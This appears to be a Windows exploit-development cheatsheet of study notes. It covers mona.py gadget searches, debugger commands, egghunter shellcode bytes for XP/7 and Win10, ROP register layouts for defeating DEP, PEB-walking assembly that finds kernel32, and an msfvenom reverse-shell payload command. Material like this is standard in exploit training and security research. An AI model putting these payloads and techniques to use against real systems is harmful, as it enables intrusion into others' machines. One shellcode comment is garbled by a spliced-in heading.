windows exploit dev
Intro
A Windows oriented exploit development cheatsheet
Mona
- Pattern Create
!mona pc <crash buffer length>
- Find injected pattern into executable memory structures
mona will usually find an offset to nSEH, so we should add 4 to that value
!mona -findmsp
- Find JMP to ESP instruction (can be any JMP-to-Reg)
!mona jmp -r ESP
- Generate a bytearray to be used during bad characters discovery
!mona bytearray
- Compare previously generate byterray against address under our control
!mona compare -f [full_path_to_bytearray.txt] -a 0x[address_under_control]
- Find POP/POP/RET gadgets to override SEH
!mona seh
- Find ROP gadgets, suggestions and chains, while excluding bad chars
!mona rop cpb "\x00\x0a"
- Find a string in any memory location
!mona find -type asc -s "w00t"
CDB/KDB
- local/remote kernel debugging
setx _NT_SYMBOL_PATH srv*c:\symbols*HTTP://MSDL.MICROSOFT.COM/DOWNLOAD/SYMBOLS
on the debugged machine:
bcdedit /debug on
bcdedit /dbgsettings local
OR if remote
bcdedit /dbgsettings NET HOSTIP:[DEBUGGER_IP] port:50000 key:1.1.1.1
set dynamic symbols fetching]
srv*c:\symbols*https://msdl.microsoft.com/download/symbols
attach/open process/file [invasive]
cdb.exe -p ProcessID
cdb.exe -pn FilenName.exe
attach/open process/file [non-invasive]
cdb.exe -pv -p ProcessID
cdb.exe -pv -pn FilenName.exe
break points
bl
- list all break points
bc [bpID]
- delete specific bp
bp [functionName]
- sets bp at functionName
bp
- [sets bp at current IP location]execution controls
g
- go until next bp
t
- trace/execute til next instruction {step into a function}
p
- step/execute next instruction {step over a function}
gu
- go up until current function returns
q
- quit[useful commands]
x [module]![symbol]
- Report the address of the specified symbols
x *!
- List all modules currently loaded
x module!*
- List all symbols and their addresses in the specified module
x module!symbol*
- List all of the symbols that match the “arg” wild-card filter
lm
- list all loaded modules (more detailed than x *!)
!lmi [module]
- list module info
dt [symbol name]
- display type of a symbol
u
- disassemble 8 instructions from current address
u [address]
- disassemble 8 from specified address
u [start - end]
uf routineName
- diass specified route
dd addressRange
- display address range
.formats [hex value]
- display hex translation
r
- display registersKD specific
lm n
- list loaded modules
!process 0 0
- list all processes
!process [Cid] 15
- get process details
.process /r /p [Cid]
- switch to process contextpeek into PEB
.process [base address]
!peb
registers command
0rM [0-255]
- dump register details with 8-bit maskquit kd
bc *
g
<ctrl b> <enter>
Egghunters
WinXP/7 (32-bit)
"\x66\x81\xCA\xFF\x0F" #or dx,0x0fff
"\x42" #inc edx
"\x52" #push edx
"\x6A\x43" #push byte +0x2
"\x58" #pop eax
"\xCD\x2E" #int 0x2e
"\x3C\x05" #cmp al,0x5
"\x5A" #pop edx
"\x74\xEF" #je xxxx
"\xB8\x77\x30\x30\x74" #mov eax,0x77303074
"\x8B\xFA" #mov edi,edx
"\xAF" #scasd
"\x75\xEA" #jnz xxxxxx
"\xAF" #scasd
"\x75\xE7" #jnz xxxxx
"\xFF\xE7" #jmp edi
Win10 (32bit/WOW64)
"\x33\xD2" #XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F" #OR DX,0FFF
"\x33\xDB" #XOR EBX,EBX
"\x42" #INC EDX
"\x52" #PUSH EDX
"\x53" #PUSH EBX
"\x53" #PUSH EBX
"\x53" #PUSH EBX
"\x53" #PUSH EBX
"\x6A\x29" #PUSH 29 (system call 0x29)
"\x58" #POP EAX
"\xB3\xC0" #MOV BL,0C0
"\x64\xFF\x13" #CALL DWORD PTR FS:[EBX] (perform the system call)
"\x83\xC4\x10" #ADD ESP,0x10
"\x5A" #POP EDX
"\x3C\x05" #CMP AL,5
"\x74\xE3" #JE SHORT
"\xB8\x77\x30\x30\x74" #MOV EAX,74303077
"\x8B\xFA" #MOV EDI,EDX
"\xAF" #SCAS DWORD PTR ES:[EDI]
"\x75\xDE" #JNZ SHORT
"\xAF" #SCAS DWORD PTR ES:[EDI]
"\x75\xDB" #JNZ SHORT
"\xFF\xE7" #JMP EDI
DEP
Configuration
WinXP/2k3
/noexecute=policy [boot.ini]
Win Vista and above
bcdedit.exe /set nx [one of the following options]
OptIn : Enables DEP only for operating system components, including the Windows kernel and drivers. Administrators can enable DEP on selected executable files by using the Application Compatibility Toolkit (ACT).
OptOut : Enables DEP for the operating system and all processes, including the Windows kernel and drivers. However, administrators can disable DEP on selected executable files by using System in Control Panel.<br>
AlwaysOn : Enables DEP for the operating system and all processes, including the Windows kernel and drivers. All attempts to disable DEP are ignored.
AlwaysOff: Disables DEP. Attempts to enable DEP selectively are ignored<br>
DEP-defeating APIs
API | Supported OS |
---|---|
NtSetInformationProcess | XP/2003 server |
SetProcessDEPPolicy | XP/Vista SP1/2008 server |
Virtual Protect | all Win versions |
Virtual Alloc | all Win versions |
WriteProcessMemory | all Win versions |
LoadLibrary | all Win versions |
MapViewOfFile | all Win versions |
Register Layout
Virtual Protect
Register setup: Example:
-------------------------------------------- --------------------------------------------
EAX = NOP (0x90909090) EAX = 90909090
ECX = lpOldProtect (ptr to W address) ECX = 66DB8EEF (ptr to Writable location )
EDX = NewProtect (0x40) EDX = 00000040 (PAGE_EXECUTE_READWRITE)
EBX = dwSize EBX = 00000216 (Any value around 0x300 is ok)
ESP = lPAddress (automatic) ESP = 0019F20C (automatic - residing on the stack)
EBP = ReturnTo (ptr to jmp esp) EBP = 6AB01C06 (ptr to jmp esp)
ESI = ptr to VirtualProtect() ESI = 772C7C70 (ptr to VirtualProtect() after dereferencing)
EDI = ROP NOP (RETN) EDI = 6AB16202 (RETN aka ROP NOP)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp",below PUSHAD
--------------------------------------------
SetInformationProcess
Register setup:
--------------------------------------------
EAX = SizeOf(ExecuteFlags) (0x4)
ECX = &ExecuteFlags (ptr to 0x00000002)
EDX = ProcessExecuteFlags (0x22)
EBX = NtCurrentProcess (0xffffffff)
ESP = ReturnTo (automatic)
EBP = ptr to NtSetInformationProcess()
ESI = <not used>
EDI = ROP NOP (4 byte stackpivot)
--------------------------------------------
SetProcessDEPPolicy
Register setup:
--------------------------------------------
EAX = <not used>
ECX = <not used>
EDX = <not used>
EBX = dwFlags (ptr to 0x00000000)
ESP = ReturnTo (automatic)
EBP = ptr to SetProcessDEPPolicy()
ESI = <not used>
EDI = ROP NOP (4 byte stackpivot)
--------------------------------------------
VirtualAlloc
Register setup:
--------------------------------------------
EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualAlloc()
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
Fixing a ROP chain manually
- Simplify the chain grouping it by register/operation, for example start with this template
[Virtual Protect structure example]
# EDX
[GADGETS]
# ESI
[GADGETS]
# EBX
[GADGETS]
# EBP
[GADGETS]
# EDI
[GADGETS]
# EAX
[GADGETS]
0x66db8eef, # &Writable location
# PUSHAD
[GADGETS]
- Use EAX as a skatch-pad register and leave it as a last register, before PUSHAD instruction.
- Start first with gadgets that are polluting other registers.
- Inspect rop.txt and rop_suggestions.txt for other gadgets with uncommon instructions (possibly affecting only EAX)
Shellcode
JUMPS
Relative
Intel Manual: Example:
------------------- --------------------------------------------
EB cb JMP rel8 Jump short '\xEB\x06' JMP 8 bytes ahead (including start of instruction)
E9 cd JMP rel32 Jump near '\xE9\xa3\xfd\xff\xff' JMP 600 bytes back (including start of instruction)
Find Kernel32.dll with WinDBG
Tested on latest Win10 Version 10.0.18362.113
Find offset 0x03 from FS register [Pointer to PEB]
0:000> dp fs:[30] L1 0053:00000030 02e68000
Get the pointer to PEB_LDR_DATA
02e680000:000> dt nt!_PEB Ldr Ldr. 02e68000 ntdll!_PEB +0x00c Ldr : 0x776ddca0 _PEB_LDR_DATAC +0x000 Length : 0x30 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x7ae6f58 - 0x838cf58 ] +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x7ae6f60 - 0x838cf60 ] +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x7ae2f68 - 0x7b3ef68 ] +0x024 EntryInProgress : (null) +0x028 ShutdownInProgress : 0 '' +0x02c ShutdownThreadId : (null)
Get pointer to first entry in InMemoryOrderModuleList
0:000> !list -t ntdll!_LIST_ENTRY.Flink -x "dd" -a "L1" 0x7ae6f60 07ae6f60 07ae2f60 # ntdll.dll 07ae2f60 07aeef60 # verifier.dll 07aeef60 07afaf60 # kernel32.dll 07afaf60 07b06f60 # kernelbase.dll
Subtract the 8-byte linked-list data structure header.
07afaf60 -0x8 = 7afaf58
Get the base address from the third entry (it would normally be the 2nd entry!)
0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY 7afaf58 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7b06f58 - 0x7aeef58 ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x7b06f60 - 0x7aeef60 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x7b3ef68 - 0x7b06f68 ] +0x018 DllBase : 0x772b0000 Void +0x01c EntryPoint : 0x772c5f70 Void +0x020 SizeOfImage : 0xe0000 +0x024 FullDllName : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL" +0x02c BaseDllName : _UNICODE_STRING "KERNEL32.DLL"
Double check dll base address with one-liner
0:00> !peb Base TimeStamp Module 380000 C:\Program Files (x86)\Internet Explorer\iexplore.exe 775c0000 C:\Windows\SYSTEM32\ntdll.dll 6a8f0000 C:\Windows\SysWOW64\verifier.dll 772b0000 12f36500 Jan 28 12:56:32 1980 C:\Windows\System32\KERNEL32.DLL
The full shellcode
mov ebx, fs:0x30 ; Get pointer to PEB mov ebx, [ebx + 0x0C] ; Get pointer to PEB_LDR_DATA mov ebx, [ebx + 0x14] ; Get pointer to first entry in InMemoryOrderM## MSFvenomoduleList mov ebx, [ebx] ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList mov ebx, [ebx] ; Get pointer to second (verifier.dll) entry in InMemoryOrderModuleList mov ebx, [ebx] ; Get pointer to third (kernel32.dll) entry in InMemoryOrderModuleList mov ebx, [ebx + 0x10] ; Get kernel32.dll base address
MSFvenom
Generate python shellcode (i.e. bindhsell) to fit into the exploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Heap
WinDBG command reference
!heap -stat # stats about process heaps usage
!heap -h <heap_addaress> # heap + segments info
dt _HEAP <heap_address> # show heap_base data structure
dt _HEAP_SEGMENT <segment_address> # segment header
!heap -p -a <memory_address> # show heap chunk info [user ptr]
!heap -stat -h <heap_address> # show allocation size breakdown
!heap -flt s <size> # show heap allocations of given size
!heap -a -h <heap_address> # show free list + all chunks
!heap -f <heap_address> # show free list
d288ab2 @ 2019-11-23